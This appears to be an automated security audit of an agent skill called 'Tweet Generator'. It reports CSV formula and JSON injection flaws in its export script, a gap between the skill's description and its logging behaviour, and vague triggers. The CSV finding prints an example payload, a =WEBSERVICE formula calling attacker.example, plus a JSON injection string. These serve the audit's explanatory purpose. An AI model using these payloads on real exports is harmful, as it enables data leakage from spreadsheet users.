Security audit

Tweet Generator

Security checks for vulnerabilities and agentic risk

Overview

This skill is a local tweet/content logging tool with disclosed storage and export features, but it does not show artifact-backed malicious behavior.

Install only if you want a local content-history tool. Treat anything entered into it as locally retained under ~/.local/share/tweet-generator, avoid sensitive or embargoed text, and be careful opening exported CSV files in spreadsheet software. Do not rely on the script itself to generate, optimize, or translate content.

A.I.G

Vulnerability Patterns

Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally

Findings (2)

T09 · Insecure Skill Coding Practices

Warning

Location: scripts/script.sh:80
Finding: CSV Formula Injection Through Unescaped Exported Content<![CDATA[ ## Vulnerability Details **File Location**: `scripts/script.sh`, lines 80–86 **Vulnerability Type**: CSV formula injection and improper output encoding **Risk Level**: Medium ### Vulnerable Code ```bash echo "type,time,value" > "$out" for f in "$DATA_DIR"/*.log; do [ -f "$f" ] || continue local name=$(basename "$f" .log) while IFS='|' read -r ts val; do echo "$name,$ts,$val" >> "$out" done < "$f" done ``` ### Technical Analysis The `val` variable contains user-controlled content read from local log files. It is written directly into a CSV field without RFC 4180 quoting or spreadsheet-formula neutralization. Values beginning with characters such as `=`, `+`, `-`, or `@` may be interpreted as formulas when the exported file is opened in spreadsheet software. Commas, quotation marks, carriage returns, and line breaks can also alter the CSV structure and create attacker-controlled cells or records. For example, content such as the following is stored without modification: ```text =WEBSERVICE("https://attacker.example/collect") ``` The resulting CSV cell can be evaluated as a formula by spreadsheet applications that support the relevant function. ### Attack Path 1. An attacker supplies crafted tweet content or persuades a user to save crafted content using a command such as: ```bash tweet-generator draft '=WEBSERVICE("https://attacker.example/collect")' ``` 2. The application writes the content to a local log file. 3. The user runs: ```bash tweet-generator export csv ``` 4. The export implementation writes the content directly into `export.csv`. 5. The user opens the CSV file in spreadsheet software. 6. If formula evaluation is enabled and supported by that software, the crafted cell may execute as a spreadsheet formula. ### Impact Assessment Successful exploitation is limited to the context and capabilities of the spreadsheet application opening the exported file. Depending on spreadsheet behavior ...[truncated 412 chars]
Remediation: <![CDATA[ ## Remediation Suggestions 1. Encode every CSV field according to RFC 4180: - Enclose fields in double quotes. - Replace every embedded double quote with two double quotes. - Preserve commas and line breaks only inside properly quoted fields. 2. Neutralize values beginning with `=`, `+`, `-`, or `@` when exports are intended for spreadsheet use. A leading apostrophe can be added, or the application can provide a separate spreadsheet-safe export mode. 3. Use a well-tested CSV generation library or helper rather than concatenating fields with `echo`. 4. Add regression tests for commas, quotes, CRLF sequences, multiline content, and formula-leading values. 5. Document whether an export preserves raw content or applies spreadsheet-safe transformations. ]]>

T09 · Insecure Skill Coding Practices

Note

Location: scripts/script.sh:65
Finding: JSON Structure Injection Through Missing String Escaping<![CDATA[ ## Vulnerability Details **File Location**: `scripts/script.sh`, lines 65–70 **Vulnerability Type**: Improper JSON output encoding **Risk Level**: Low ### Vulnerable Code ```bash local first=1 for f in "$DATA_DIR"/*.log; do [ -f "$f" ] || continue local name=$(basename "$f" .log) while IFS='|' read -r ts val; do [ $first -eq 1 ] && first=0 || echo "," >> "$out" printf ' {"type":"%s","time":"%s","value":"%s"}' "$name" "$ts" "$val" >> "$out" done < "$f" done ``` ### Technical Analysis The code constructs JSON by directly interpolating log values into a quoted JSON string. It does not escape quotation marks, backslashes, control characters, or line breaks. An attacker-controlled value containing JSON syntax can terminate the intended `value` string and inject additional fields or objects. Less carefully constructed input can make the complete export syntactically invalid. Shell quoting prevents direct shell command injection at this location, but it does not provide JSON encoding. For example, content resembling the following can alter the generated JSON structure: ```text "},{"type":"injected","time":"attacker-controlled","value":"payload ``` ### Attack Path 1. An attacker supplies crafted content containing quotation marks and JSON delimiters. 2. The user stores that content through one of the logging commands. 3. The user runs: ```bash tweet-generator export json ``` 4. The export function inserts the crafted value directly into `export.json`. 5. The resulting file contains attacker-controlled JSON structure or becomes invalid. 6. If another tool trusts and processes the export, the injected fields or records may be interpreted as legitimate application data. ### Impact Assessment The immediate impact is loss of export integrity and availability: the JSON file may be malformed or may contain attacker-injected records. A downstream consumer that assigns security-sensitive meaning to fields could be ...[truncated 216 chars]
Remediation: <![CDATA[ ## Remediation Suggestions 1. Replace manual JSON construction with a real JSON serializer such as `jq`. 2. Pass all dynamic values through serializer arguments, for example with `jq -n --arg`, so quotation marks, backslashes, control characters, and Unicode content are encoded safely. 3. Build the complete array through the serializer instead of manually inserting commas between objects. 4. Reject or correctly handle malformed log records and multiline values. 5. Add tests using embedded quotes, backslashes, tabs, newlines, Unicode characters, and attempted object injection. 6. Validate the completed export with a JSON parser before reporting success. ]]>

SkillSpector

Vulnerability Patterns

Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands

Findings (7)

Tp4

High

Category: MCP Tool Poisoning
Confidence: 94% confidence
Finding: The skill is presented as a tweet/content generation tool, but its documented behavior also includes persistent logging of all user inputs, history tracking, export, and search over stored content. That mismatch matters because users may provide sensitive draft copy, unreleased announcements, credentials accidentally pasted into prompts, or internal campaign data without realizing the tool retains them locally and makes them easy to export.

Vague Triggers

Medium

Confidence: 89% confidence
Finding: The description says to use the skill when 'drafting copy, editing threads, optimizing engagement, scheduling posts,' which are broad everyday writing activities rather than narrowly scoped trigger phrases. It does not provide explicit activation boundaries or negative examples, increasing the chance of unintended invocation in general content-creation contexts.

Vague Triggers

Medium

Confidence: 84% confidence
Finding: The 'When to Use' guidance lists very broad scenarios such as daily content creation, engagement optimization, and multilingual content. These descriptions are useful documentation, but without constraints or negative examples they can function as ambiguous activation guidance that overlaps with common writing tasks.

Intent-Code Divergence

Medium

Confidence: 93% confidence
Finding: The help text and comments describe a content toolkit, but the code behavior primarily implements a logging system. This deceptive or misleading presentation increases the chance that users provide sensitive information under false assumptions about functionality and storage behavior.

Description-Behavior Mismatch

Medium

Confidence: 97% confidence
Finding: The skill is presented as a tweet drafting/optimization tool, but the implementation is largely a local activity logger that stores, searches, exports, and summarizes user inputs. This mismatch is dangerous because users may submit sensitive draft content, campaign plans, or unpublished messaging believing the tool is ephemeral, while the script silently persists that data and exposes bulk retrieval features.

Context-Inappropriate Capability

Medium

Confidence: 94% confidence
Finding: The export, search, recent-activity, and status functions enable broad access to accumulated user content that is not required for simple tweet drafting. In the context of a content-writing skill, these surveillance-like data handling features expand exposure of sensitive drafts, internal messaging, and posting schedules if another local user, process, or operator accesses the data directory.

Missing User Warnings

Medium

Confidence: 97% confidence
Finding: The script writes user-supplied tweet content directly into persistent log files without an explicit privacy warning, consent flow, or retention policy. In a tweet-writing context, inputs may include embargoed announcements, customer data, credentials accidentally pasted by users, or strategic schedules, all of which become silently retained on disk.

Static analysis

No suspicious patterns detected.